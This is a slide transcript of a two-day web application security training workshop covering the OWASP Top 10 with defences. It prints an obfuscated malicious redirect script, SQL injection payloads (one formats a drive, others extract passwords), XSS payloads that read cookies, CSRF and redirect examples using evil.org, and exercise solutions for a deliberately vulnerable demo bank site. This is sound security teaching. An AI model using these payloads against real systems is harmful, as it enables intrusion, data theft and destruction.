Web Application Security
Upcoming SlideShare
Loading in...5
×
 

Web Application Security

on

  • 29,596 views

These are the slides to my 2-day "Web Application Security Training Workshop". The workshop is intended for all IT staff involved in web application development, e.g. software engineers, system ...

These are the slides to my 2-day "Web Application Security Training Workshop". The workshop is intended for all IT staff involved in web application development, e.g. software engineers, system analysts, quality engineers or application administrators.

The goals of the workshop are:
* Build security awareness for web applications
* Get to know attack methods of hackers
* Learn ways to discover security vulnerabilities
* Learn the basics of secure web development

Day one starts with a motivation of the topic and then covers the most severe vulnerabilities of web applications based on the OWASP Top 10 list. The attacks on those vulnerabilities are discussed and can be tried out in several examples.

Day two starts with a two hour hacking contest where each participant attacks the locally installed BodgeIt store and tries to get as many points on the score card as possible. Next the Secure Software Development Lifecycle is briefly discussed in order to prevent security flaws as early as possible.

/!\ Performing attacks on any website or server you do not own yourself is a crime in most countries!

Statistics

Views

Total Views
29,596
Views on SlideShare
28,728
Embed Views
868

Actions

Likes
8
Downloads
421
Comments
0

8 Embeds 868

http://julismail.staff.telkomuniversity.ac.id 366
http://kimminich.de 201
http://kimminich.wordpress.com 124
http://www.linkedin.com 53
https://twitter.com 50
http://wiki.int.kn 49
http://www.kimminich.de 24
https://kimminich.wordpress.com 1
More...

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment
  • Canonicalization = Standardization, Normalization = Bringing data into its most simple unique form <br /> Sanitization = Remove personal-identifiable information from data / Remove malicious data from user input

Web Application Security Web Application Security Presentation Transcript

  • Björn Kimminich https://twitter.com/bkimminich https://linkedin.com/in/bkimminich https://google.com/+BjörnKimminich http://slideshare.net/BjrnKimminich v2.16 (18.09.2014)
  • 2007+ Software Architect & Security Officer at Kuehne+Nagel Corporate Web Development 2011+ Part-time lector for Java & Agile Software Develoment at private UAS Nordakademie 2012+ OWASP Member & QA Developer OWASP Zed Attack Proxy (ZAP)
  • Build security awareness for web applications Get to know attack methods of hackers Learn ways to discover security vulnerabilities Learn the basics of secure web development
  • Schedule •2x8 hours •Breaks on demand •Enough time for excercises Behavior •No daily work during workshop •Ask questions immediately •Open discussion encouraged
  • Motivation Open Web Application Security Project Top 10 Web Application Security Risks
  • Hacking Contest Secure Software Development Lifecycle OWASP Zed Attack Proxy Links & Resources Wrap-Up
  • Source: http://www.ups.com/media/news/en/fraud_email_examples.pdf
  • = Phishing attacks on senior executives and other high profile targets within businesses
  • Source: http://news.yahoo.com/lightbox/burger-kings-twitter-account-hacked-photo-180655645--abc-news-tech.html http://www.guardian.co.uk/technology/2013/feb/18/burger-king-twitter-account-hack
  • Source: http://praetorianprefect.com/archives/category/app-sec/web-site-defacement/
  • Source: http://praetorianprefect.com/archives/category/app-sec/web-site-defacement/
  • Source: http://news.cnet.com/Hackers-deface-SCO-site/2100-7344_3-5469486.html
  • Source: http://www.informationweek.com/security/attacks/sony-hacked-again-1-million-passwords-ex/229900111
  • Source: http://www.pcworld.com/article/2157604/ebay-users-change-your-passwords-the-auction-site-was-breached.html
  • Analyze the behavior of the following code taken from an email attachment <!-- C/C v0964 --> <script> function c(){};t=false;kM="kM";c.prototype = {v : function() {this.e=38741;this.eE="";s='';wS="wS";u="";h=false;y="y";var w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr (0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9" .substr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShtSaT".substr(3,2)+"cw zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var r=false;zC=false;m='';document["locazLsR".substr(0,4)+"tion"]=w;var eG=false;this.k='';q=5975;g=55201;this.p="";var iK=61242;var n=false;}};var nF=false;this.eF=false;var x=new c(); l="l";gO="";x.v();this.kN=false; </script>
  • It executes the following JavaScript: document[„location“]=http://enjoyyourhaircut.com/5.html; The rest is just there for obfuscation <!-- C/C v0964 --> <script> function c(){};t=false;kM="kM";c.prototype = {v : function() {this.e=38741;this.eE="";s='';wS="wS";u="";h=false;y="y";var w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr (0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9" .substr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShtSaT".substr(3,2)+"cw zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var r=false;zC=false;m='';document["locazLsR".substr(0,4)+"tion"]=w;var eG=false;this.k='';q=5975;g=55201;this.p="";var iK=61242;var n=false;}};var nF=false;this.eF=false;var x=new c(); l="l";gO="";x.v();this.kN=false; </script>
  • Web Applications have become the #1 target 75% of Attacks target the Application Layer (Gartner) Most Web Applications are vulnerable 95% of Web Applications have some sort of vulnerability (Imperva) 78% of easily exploitable weaknesses occur in Web Applications (Symantec) 67% of websites used to distribute malware are legitimate, compromised websites (Symantec) Source: https://www.owasp.org/index.php/Business_Justification_for_Application_Security_Assessment
  • „61 percent of malicious sites are actually regular websites that have been compromised and infected with malicious code.“ Source: http://www.symantec.com/content/en/us/enterprise/other_resources/b-istr_main_report_v18_2012_21291018.en-us.pdf
  • Source: http://www.incapsula.com/the-incapsula-blog/item/397-top-security-threats-and-attackers-by-country
  • Idealistic young Hacktivists will continue to attack Big Data Companies are taking control of users while profiting from user information Attackers will make more use of Mobile Exploits for hacking into corporate networks Insiders (Employees, Consultants, Business Partners) can always pose security risks Foreign Governments will start to target clouds and more types of businesses with APTs Source: http://www.notebookreview.com/default.asp?newsID=6310
  • Group with both the capability and the intent to persistently and effectively target a specific entity Example: The Stuxnet Creators can be considered an APT to the Iranian Government Source: http://en.wikipedia.org/wiki/Advanced_persistent_threat
  • Source: http://noramintel.com/stuxnet-virus-opens-new-era-of-cyber-war/
  • Google‘s Android Backup Functionality Helps you to migrate all your data and apps to a new device quite easily It also used to store passwords to all WLANs you ever used on your device… …on Google servers in the US (!) …unencrypted (!!!) Source: https://code.google.com/p/android/issues/detail?id=57560
  • Open Web Application Security Project
  • Open Web Application Security Project Open community Non-profit organization Core purpose Be the thriving global community that drives visibility and evolution in the safety and security of the world’s software https://www.owasp.org Source: https://www.owasp.org
  • Free & Open Governed by rough consensus & running code Abide by a code of ethics Not-for-profit Not driven by commercial interests Risk based approach Source: https://www.owasp.org
  • Source: https://www.owasp.org
  • Enterprise Security API (ESAPI) Collection of all the security methods that a developer needs to build a secure web application Zed Attack Proxy (ZAP) Easy to use integrated penetration testing tool for finding vulnerabilities in web applications Security Shepherd CBT application for web and mobile application security awareness and education Development Guide Massive document covering all aspects of web application and web service security Source: https://www.owasp.org
  • Top 10 Web Application Security Risks
  • A1: Injection A2: Broken Authentication and Session Management A3: Cross-Site Scripting (XSS) A4: Insecure Direct Object References A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Missing Function Level Action Control A8: Cross Site Request Forgery (CSRF) A9: Using Known Vulnerable Components A10: Unvalidated Redirects and Forwards Ex-A6/2007: Information Leakage and Improper Error Handling
  • Threat Agent Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Business Impact ? Easy Widespread Easy Severe Average Common Average Moderate ? Difficult Uncommon Difficult Minor 1 2 3 Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Weighted Risk Rating = Probability * Impact Example: Threat Agent Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Business Impact ? 1 1 Easy Widespread Easy Severe 2 2 Average Common Average Moderate ? Difficult Uncommon Difficult Minor (1+2+2)/3 = 1.66 1.66*1 = 1.66 Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • [1] Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') [2] Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') [3] Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [4] Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [5] Missing Authentication for Critical Function [6] Missing Authorization [7] Use of Hard-coded Credentials [8] Missing Encryption of Sensitive Data [9] Unrestricted Upload of File with Dangerous Type [10] Reliance on Untrusted Inputs in a Security Decision [11] Execution with Unnecessary Privileges [12] Cross-Site Request Forgery (CSRF) [13] Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') [14] Download of Code Without Integrity Check [15] Incorrect Authorization [16] Inclusion of Functionality from Untrusted Control Sphere [17] Incorrect Permission Assignment for Critical Resource [18] Use of Potentially Dangerous Function [19] Use of a Broken or Risky Cryptographic Algorithm [20] Incorrect Calculation of Buffer Size [21] Improper Restriction of Excessive Authentication Attempts [22] URL Redirection to Untrusted Site ('Open Redirect') [23] Uncontrolled Format String [24] Integer Overflow orWraparound [25] Use of a One-Way Hash without a Salt Source: http://cwe.mitre.org/top25
  • Both are like different sides of the same coin PCI DSS points to both as industry best practices Optimal: Be familiar with both! OWASP Top 10 CWE/SANS Top 25 Source: http://www.docstoc.com/docs/115032367/2010-CWESANS-Top-25-with-OWASP-Top-10-and-PCI-DSS-V2-Mapping
  • Do not perform any attacks on servers, networks and applications… …you do not own and operate yourself …or have the owners permission to pentest
  • Prevalence Widespread Impact Minor
  • Applications can unintentionally leak information about their configuration or internal workings, or violate privacy internal state via how long they take to process certain operations or via different responses to differing inputs information about their internal state through detailed or debug error messages This information can be leveraged to launch or even automate more powerful attacks Source: https://www.owasp.org
  • Implementation Details Server (OS, Version, …) Programming Language (Language, Version, VM-Vendor, …) Database (Oracle, mySQL, …) and details about it (Version, Schema Names, Table Names, Column Names, …) Names and versions of used 3rd party libraries Other useful information Stacktraces Debugging Information SQL Statements Passwords … Source: https://www.owasp.org
  • vs.
  • vs. while (noSuchUserError) { // try next user with static password login(user, „?“); } while (wrongPasswordError) { // use existing user and try next password login(„bkimminich“, password); } while (loginFailedError) { // try next user while (loginFailedError) { // try next password login(user, password); } }
  • Common approach to exception handling Disable or limit detailed error messages Ensure that secure paths that have multiple outcomes return similar or identical error messages in roughly the same time Create a default error handler which returns an appropriately sanitized error message for most users in production for all error paths
  • Attack Vector Easy Prevalence Common Detectability Average Impact Severe
  • Injection means… …tricking an application into including unintended commands in the data sent to an interpreter Interpreters… …take strings and interpret them as commands SQL, OS Shell, LDAP, XPath, Hibernate, etc… Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • // … String query = "SELECT user_id FROM user_data WHERE " + user_name = '" + req.getParameter("user") + "' AND user_password = '" + req.getParameter("password") +"'"; // … SELECT user_id FROM user_data WHERE user_name = 'bkimminich' AND user_password = '680e89[…]75ab';
  • // … String query = "SELECT user_id FROM user_data WHERE " + user_name = '" + req.getParameter("user") + "' AND user_password = '" + req.getParameter("password") +"'"; // … SELECT user_id FROM user_data WHERE user_name = '' or 1=1 --' AND user_password = '1234';
  • Typical Impact Spy out or manipulate data Manipulate the DB server or access underlying OS Bypass authentication or gain admin privileges Correlation with Information Leakage Attackers use error messages or codes to verify the success of an attack and gather information about type and structure of the database Blind SQL Injection If error message don’t help the attacker he can still “take a stab in the dark” The normal application behavior (e.g. response time) might give away clues on successful/failed Injection attempts Source: https://www.owasp.org
  • Bypass Authentication admin' -- admin' # admin'/* ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1 ') or ('1'='1 Source: http://ha.ckers.org/sqlinjection
  • Spy out Data ' UNION SELECT login, password, 'x' FROM user-- 1 UNION SELECT 1,1,1 FROM user-- Manipulate Data '; UPDATE user SET type = 'admin' WHERE id = 23;-- Manipulate the DB Server ' ;GO EXEC cmdshell('format C') -- Cheat Sheet: http://ha.ckers.org/sqlinjection Source: http://ha.ckers.org/sqlinjection
  • Browse to http://demo.testfire.net Task 1: Attempt to login w/o proper user credentials Task 2: Read all user account names and passwords from the database Spoiler: For Task 2, when logged in as an administrator you have access to a filterable result list which is susceptible to a UNION query attack.
  • Login Form can be bypassed easily Probe for vulnerability by submitting a single quote as username and some random password Simplest attack patterns work ' or 1=1-- admin'--
  • Recent Transactions page can be abused to extract user account data Preparation of attack on After / Before filter fields Error messages give away some column names Table name ("users") must be guessed Number of returned columns in the original query (4) can be educed from HTML result table or found by trial-and-error attempts Using a far-future date in After (or ancient date in Before) will effectively filter out transactions and yield only the user account data in the result table Attacking the After field: 1/1/2100 UNION SELECT userid,username,password,null FROM users--
  • Plain SQL via JDBC String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getParameter("customerName"); try { Statement statement = connection.createStatement(…); ResultSet results = statement.executeQuery(query); HQL via Hibernate } Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");
  • Avoid the Interpreter at all if possible Use an interface that supports bind variables java.sql.PreparedStatement Hibernate Parameter Binding … Enforce Least Privileges for the application‘s DB user Perform White List Input Validation on all user supplied input Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • White List = Positive Security Rule „Block what is not explicitly allowed!“ Example: Allow only [a-z], [A-Z] and [0-9] Define once, (almost) never worry again Can be quite effortsome to define for a whole application Black List = Negative Security Rule „Allow what is not explicitly blocked!“ Example vs. SQL Injection: Block [-#';] Example vs. HTML Injection: Block [<>";'script] Can be bypassed by masking attack patterns Must be updated for new attack patterns
  • Plain SQL via JDBC String customerName = request.getParameter("customerName"); assert(CustomerValidator.doesExist(customerName); String query = "SELECT account_balance FROM user_data WHERE user_name = ?"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, customerName); ResultSet results = pstmt.executeQuery(); HQL via Hibernate Query safeHQLQuery = session.createQuery("from Inventory where productID=:productId"); safeHQLQuery.setParameter("productId", userSuppliedParameter);
  • Intention: Provide cheap means of DB/data maintenance to admin users Protection: URL is hidden Never develop like this!
  • Source: http://xkcd.com/327/
  • Attack Vector Average Prevalence Widespread Detectability Average Impact Severe
  • Source: http://www.troyhunt.com/2013/09/web-security-dark-matter-developers-and.html
  • HTTP is a “stateless” protocol Credentials have to be passed with every request Should use SSL for everything requiring authentication Session Management flaws SESSION ID is just as good as credentials to an attacker SESSION ID is typically exposed on the network, in browser, in logs, … Beware the side-doors Change my password, remember my password, forgot my password, secret question, logout, email address, credentials stored in plain text in database, etc… Typical Impact User accounts compromised or user sessions hijacked Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • h5kek4z9ha1rtrf gj75l3k7hb15rtr l8l65k45hc1rw7i p05jrj53hd1i039 5urltda1he1bn46 j5le97h9hf2yq3h po953ld7hg2awi9 t6zhj2n5hh27bn0 iu345r53hi2aw34 o0z43411hj2njkl 9por42o9hk3dfrz … Pattern • 9,7,5,3,1,9,7,5,3,1,9… • h,h,h,h,h,h,h,h,h,h,h,… • a,b,c,d,e,f,g,h,i,j,k,… • 1,1,1,1,1,2,2,2,2,2,3,…
  • Authentication should be simple, centralized and standardized! Use standard session ID of your container Protect credentials and session ID with SSL/TLS Keep your SSL certificate safe Automatic logout of inactive sessions Never start a login process from an unencrypted page Session IDs and credentials don’t belong into logfiles Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Rely on single authentication mechanism with appropriate strength and number of factors Use strong supplemental authentication mechanisms Challenge-Response Limited time passwords Check old password on password change Send confirmation request to old email address on email address change Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Minimum length of 12 to 14 characters if permitted Generating passwords randomly where feasible Avoiding passwords based on repetition, dictionary words, letter or number sequences, usernames, relative or pet names, romantic links (current or past), or biographical information (e.g., ID numbers, ancestors' names or dates). Including numbers, and symbols in passwords if allowed by the system If the system recognizes case as significant, using capital and lower-case letters Avoiding using the same password for multiple sites or purposes Avoid using something that the public or workmates know you strongly like or dislike Source: http://en.wikipedia.org/wiki/Password_strength
  • Automated tests of password strength are problematic Any network based checking necessarily involves submitting one's password to a purpose declared system somewhere The relevant network traffic is easily identifiable as passwords saving much effort for the attacker Passwords which are vulnerable to social engineering and guessing attacks cannot be properly checked automatically Source: http://en.wikipedia.org/wiki/Password_strength
  • 12345 abcdefg abcdefg12345 abcd1234!? laura21052005 ingrid2004-12-17 Instantly Crackable Instantly Crackable PC would take ~37 years to crack PC would take ~22 years to crack PC would take ~1351 years to crack PC would take 16 billion years to crack Source: http://howsecureismypassword.net/ + some creative trial & error + some research on me + some social engineering ALL those password cracked rather easily
  • Oldschool Paper TAN List Protect your account via RSA-Token or Smartphone App TANs and dedicated confirmation of suspicious payments via text message Computer won‘t boot unless Security USB-Device is plugged in Facial Recognition via Webcam for unlocking computer
  • Attack Vector Average Prevalence Very Widespread Detectability Easy Impact Moderate
  • Attacker sends malicious code to an innocent user’s browser Malicious code might be… …reflected from web input (form or hidden field, URL, etc…) …stored in database …sent directly into rich JavaScript client Virtually every web application has this problem Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Steal user’s session Steal sensitive data Rewrite web page Redirect user to phishing or malware site Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Browser Server Database Web Bug! Application URL HTML Victim Request Website Server Response Source: http://www.h-online.com/security/features/Web-application-security-747201.html
  • Browser Server Database Web Bug! Application URL URL Subsequent Victim Request Website Server Response HTML Source: http://www.h-online.com/security/features/Web-application-security-747201.html
  • Browser Server Database Web Application URL Script Code HTML Bug! Bug! Script Code DOM Access Website Server Response Source: http://www.h-online.com/security/features/Web-application-security-747201.html
  • Simple Patterns <SCRIPT>javascript:alert('XSS');</SCRIPT> <IMG SRC=javascript:alert('XSS')> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Masked / Evasive Patterns <IMG SRC=javascript:alert(&quot;XSS&quot;)> '';!--"<XSS>=&{()} <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav&#x09;ascript:alert('XSS');"> Source: http://ha.ckers.org/xss.html
  • Masked / Evasive Patterns (continued) <DIV STYLE="background-image: 00750072006C0028'006a006100760061 007300630072006900700074003a0061006c00 65007200740028.10270058.1053005300270029' 0029"> <b onmouseover=alert('Wufff!')>click me!</b> <img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);> … Cheat Sheet: http://ha.ckers.org/xss.html Source: http://ha.ckers.org/xss.html
  • Browse to http://demo.testfire.net Task: Find at least 3 places where you can perform a successful Reflected XSS attack Spoiler: There are (afaik) 7 places susceptible to XSS attacks on Altoro Mutual. One is protected by a wimpy security mechanism you can probably break quite easily. Some others might have to be nested into other attacks.
  • Search Results Parameter txtSearch on search.aspx Feedback Form Field name on feedback.aspx is… …reflected into comment.aspx Customize Site Language Parameter lang on customize.aspx Only reachable when logged in Error page on accessing a non-existing page Parameter aspxerrorpath on notfound.aspx
  • Recent Transactions Combination of SQL Injection with XSS scripts as static column values in the After or Before fields 01/01/1999 UNION SELECT null,null,null,‘<script>…‘-- Login Page Try to log in with this entirely unsuspicious link: http://demo.testfire.net/bank/login.aspx?uid=%22%20on change=%22document.getElementById%28%27login%27 %29.onsubmit=function%28%29{alert%28%27xss%27%29;}
  • Mail Subscription Field txtEmail on subscribe.aspx is reflected But: It‘s protected with a JavaScript validation!
  • Client Side Validation is always insecure! Install Tampering Plugin e.g. Tamper Data (Firefox) e.g. Request Maker (Chrome) You can now stop all outgoing HTTP requests in your browser …and tamper the contained headers, POST data and passed parameters …after Client Side Validation took place …but before they are actually submitted to the server
  • Scriptlet in Java Server Page (JSP) <%String searchCriteria = request.getParameter("searchValue");%> <%-- Later on the same or subsequent JSP... --> Search results for <b><%=searchCriteria%></b>: ...
  • Eliminate XSS Don‘t include user supplied input in your output! Defend against XSS Output Encode all user supplied input OWASP Enterprise Security API For GWT: com.google.gwt.safehtml.shared.SafeHtml Perform White List Input Validation on user input Use an HTML Sanitizer for larger user supplied HTML chunks OWASP Java HTML Sanitizer Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Encoding with Struts Bean Taglib ... Search results for <b><bean:write name='searchCriteria'/></b>: ... Encoding with OWASP Enterprise Security API ... <easpi:encodeForHtml><%=searchCriteria></esapi:encodeForHtml> ...
  • Attack Vector Easy Prevalence Common Detectability Easy Impact Moderate
  • How do you protect access to your data? This is part of enforcing proper “Authorization” along with A7 – Failure to Restrict URL Access Common mistakes Only listing the ‘authorized’ objects for the current user Hiding the object references in hidden fields… … and then not enforcing these restrictions on server side (=Presentation layer access control) Attacker simply tampers with parameter value Typical Impact Users are able to access unauthorized files or data Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Checking online how you did in an exam http://universi.ty/marks?id=i99a19 Checking how your fellow students did http://universi.ty/marks?id=i99a01 http://universi.ty/marks?id=i99a02 … http://universi.ty/marks?id=i99a20 Checking the distribution among class http://universi.ty/marks?id=i99
  • Browse to http://demo.testfire.net Task: Try to access the boot.ini file of the server Spoiler: The file resides in D:boot.ini on the server. If you run into any defense mechanism, you can trick it using a Poison Null Byte (%00) attack.
  • Parameter content of default.aspx accepts relative file paths as a Direct Reference But: Server checks for .TXT or .HTM suffix! Bypassing defense using Poison Null Byte %00 %00 and everything after it is cut off on the OS command line http://demo.testfire.net/default.aspx? content=../../../../boot.ini%00.htm
  • Eliminate the Direct Object References Replace with temporary mapping value e.g. with ESAPI AccessReferenceMap Validate the Direct Object Reference Verify parameter value format Verify user authorization to access target object Query Constraints work great! (Data Access Restriction) Verify the requested mode of access is allowed to the target object (read, write, delete, …) Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Attack Vector Easy Prevalence Common Detectability Easy Impact Moderate
  • Web applications rely on a secure foundation Everywhere from the OS up through the App Server Don’t forget all the libraries you are using! Is your source code a secret? Think of all the places your source code goes Security should not require secret source code Do you change all credentials regularly in your production environment? Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Install backdoor through missing OS or server patch XSS flaw exploits due to missing application framework patches Unauthorized access to default accounts, application functionality or data, or unused but accessible functionality due to poor server configuration Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Administration Transactions Communication Knowledge Mgmt Custom Code Accounts Finance E-Commerce Bus. Functions App Configuration Framework App Server Web Server Hardened OS Development QA Servers Test Servers Source Control Database Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx Insider
  • Verify your system’s configuration management Secure configuration “hardening” guideline Automation is really useful here Must cover entire platform and application Keep up with patches for all components This includes software libraries, not just OS and Servers! Analyze security effects of changes Deactivate unnecessary stuff Ports, Services, Accounts, Sites, … Verify the implementation Scanning finds generic configuration and missing patch problems Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Attack Vector Difficult Prevalence Uncommon Detectability Average Impact Severe
  • Storing sensitive data insecurely Failure to identify all sensitive data Failure to identify all the places that this sensitive data gets sent or stored On the web, to business partners, internal communication Databases, files, directories, log files, backups, etc. Failure to properly protect this data in every location Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Typical Impact Attackers access or modify confidential or private information (e.g credit cards, health care records, financial data, …) Attackers extract secrets to use in additional attacks Company embarrassment, customer dissatisfaction, and loss of trust Expense of cleaning up the incident, such as forensics, sending apology letters, reissuing thousands of credit cards, providing identity theft insurance Business gets sued and/or fined Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Sensitive Data is not encrypted Using self-made crypto algorithms Unsafe usage of safe crypto algorithms Store Keys and Passwords in Source Code Store Keys/Certificates in unsafe location Continued usage of weak crypto algorithms e.g. MD5, SHA-1, RC3, RC4
  • Verify your architecture Identify all sensitive data Identify all the places that data is stored Ensure threat model accounts for possible attacks Use encryption to counter the threats, don’t just ‘encrypt’ the data Protect with appropriate mechanisms File encryption, database encryption, data element encryption Use TLS on all connections with sensitive data Use the mechanisms correctly Use standard strong algorithms e.g. AES, RSA, SHA-256 Generate, distribute, and protect keys properly Be prepared for key change Verify the implementation Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Be especially careful in unknown Networks WLAN Hotspots, Internet Cafés, … Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Attack Vector Easy Prevalence Common Detectability Average Impact Moderate
  • How do you protect access to functions? This is part of enforcing proper “Authorization” along with A4 – Insecure Direct Object References Common Mistakes Displaying only authorized links and menu choices Attacker simply forges direct access to ‘unauthorized’ pages Typical Impact Attackers invoke functions and services they’re not authorized for Access other user’s accounts and data Perform privileged actions Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Browse to http://demo.testfire.net Task 1: Forcefully browse your way into an Administration area Task 2: Log into that Admin area Task 3: Download a confidential document Spoiler: For Task 2 you can‘t use SQL Injection. Think about a worst-case Information Leakage instead…
  • Admin Area URL shows „Directory Listing Denied“ error instead of „Not found“ (404) http://demo.testfire.net/admin/ Admin Login page can be easily guessed http://demo.testfire.net/admin/login.aspx Check the Source Code of login.aspx for some pretty stupid HTML comment <!-- Password: Altoro1234 --> Unprotected folder contains sensitive docs http://demo.testfire.net/pr/
  • Restrict access to authenticated users (if not public) Enforce any user or role based permissions (if private) Completely disallow requests to unauthorized page types config files log files source files … Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Attack Vector Average Prevalence Common Detectability Easy Impact Moderate
  • An attack where the victim’s browser is tricked into issuing a command to a vulnerable web application Vulnerability is caused by browsers automatically including user authentication data with each request Session Cookie Basic Authentication Header IP Address Client Side SSL Certificates Windows domain credentials Typical Impact Initiate transactions transfer funds, logout user, close account, … Access sensitive data Change account details Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • Web Browsers include most credentials with each request… …even for requests caused by a form, script or image on another site! All sites relying solely on automatic credentials are vulnerable! Sites with XSS vulnerabilities can be abused for attacking sites with CSRF vulnerabilities Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • bank.com Web App Browser Bug! evil.org Web App GET / HTTP/1.1 Host: www.evil.org Request Login Response HTTP/1.1 200 OK ... <html> ... <img src=“http://bank.com/transfer ?to=hacker&amount=1000$“/> ... </html> CSRF-Attack GET/transfer?to=hacker &amount=1000$ HTTP/1.1 Host: bank.com
  • Intranet Firewall 192.168.0.1 Web App Browser Bug! evil.org Web App Request Login GET / HTTP/1.1 Host: www.evil.org Response HTTP/1.1 200 OK ... <html> ... <img src=“http://192.168.0.1/admin ?setAccessMode=remote&resetPassword“/> ... </html> CSRF-Attack GET/admin/setAccessMode =remote&resetPassword HTTP/1.1 Host: 192.168.0.1
  • Add a secret, not automatically submitted, token to all sensitive requests This makes it impossible for the attacker to spoof the request (unless there is an XSS hole in your application) Tokens should be cryptographically strong or random Options Store a single token in the session and add it to all forms and links (e.g. Hidden Field, Single Use URL, Form Token) Beware exposing the token in a referer header Can use a unique token for each function (e.g. hash of function name, session id, and a secret Can require secondary authentication for sensitive functions (e.g. eTrade) Make sure your application has no XSS holes which could be exploited to attack other applications (or itself) Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • [img]http://forum.com/logout.do[/img] What shenanigans might our troll friend have in mind with any unwelcome forum posts he encounters?
  • Attack Vector Average Prevalence Widespread Detectability Difficult Impact Moderate
  • Heartbleed OpenSSL 1.0.1 – 1.0.1f
  • Source: http://xkcd.com/1354/
  • Source: http://xkcd.com/1354/
  • Source: http://xkcd.com/1354/
  • Libraries often contain vulnerabilities Attacker identifies a weak component through scanning or manual analysis Customized exploits used to execute attack Full range of weaknesses is possible injection, broken access control, XSS, etc. Impact could be minimal, up to complete host takeover and data compromise Source: https://www.owasp.org/index.php/Top_10_2013-A9
  • SpEL Injection Authentication Bypass Remote Code Execution Source: https://www.aspectsecurity.com/uploads/downloads/2012/03/Aspect-Security-The-Unfortunate-Reality-of-Insecure-Libraries.pdf
  • Identify the components and their versions you are using, including all dependencies Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up-to-date Restrict the use of unapproved components Source: https://www.owasp.org/index.php/Top_10_2013-A9
  • Attack Vector Average Prevalence Uncommon Detectability Easy Impact Moderate
  • Web application redirects are very common And frequently include user supplied parameters in the destination URL If they aren’t validated, attacker can send victim to a site of their choice Forwards are common too They internally send the request to a new page in the same application Sometimes parameters define the target page If not validated, attacker may be able to use unvalidated forward to bypass authentication or authorization checks Typical Impact Redirect victim to phishing or malware site Attacker’s request is forwarded past security checks, allowing unauthorized function or data access Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • bank.com Web App Browser Bug! evil.org Request to Redirect URL URL https://bank.com/account?...&...&... &dest=www.evil.org&...&...&...&... HTTP/1.1 302 Found Location: http://www.evil.org Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
